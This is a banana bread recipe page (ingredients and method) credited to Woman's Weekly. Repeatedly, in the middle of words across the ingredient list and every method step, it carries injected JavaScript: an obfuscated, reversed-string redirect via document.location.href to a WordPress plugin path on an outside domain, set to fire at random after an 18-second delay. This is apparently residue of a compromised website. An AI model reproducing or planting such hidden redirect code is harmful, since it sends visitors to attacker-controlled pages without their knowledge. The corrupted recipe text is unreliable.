Nutty Banana Bread

A cake that’s delicious for breakfast with a steaming cup of coffee. Swap the nuts for your favourite ones or make it nut-free.

Ingredients:

  • 75g (2½oz) butter, softened100g (3½oz) light brown sugar or caster sugar
  • 2 large eggs
  • 3 ripe bananas (about 500g/1lb)
  • A few drops of vanilla extract, optional
  • 200g (7oz) plain wholemeal flour
  • 2 heaped tsp baking powder
  • 100g (3½oz) mixed walnut pieces and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toasted hazelnuts
  • 900g (2lb) loaf tin, lightly greased and strip-lined

Method

  1. Set oven toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to gas mark 4 or 180°C. Cream butter and sugar until fluffy. Beat in eggs, one at a time.
  2. Peel the bananas and mash on a plate, using a fork. Beat mash intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the creamed mixture, with the vanilla, if using, then sift in flour (adding the bran that’s left in the sieve, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too) with the baking powder. Fold in, then stir in the nuts.
  3. Spoon the mixture intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tin and smooth the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top. Bake for 40-50 mins until loaf is risen and golden, and a skewer inserted intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to centre comes out clean. Cool in tin for 10 mins then turn out and cool on a wire rack.
  4. Slice and serve warm or cold, spread with butter. 

Bon Appétit!

Source: WomansWeekly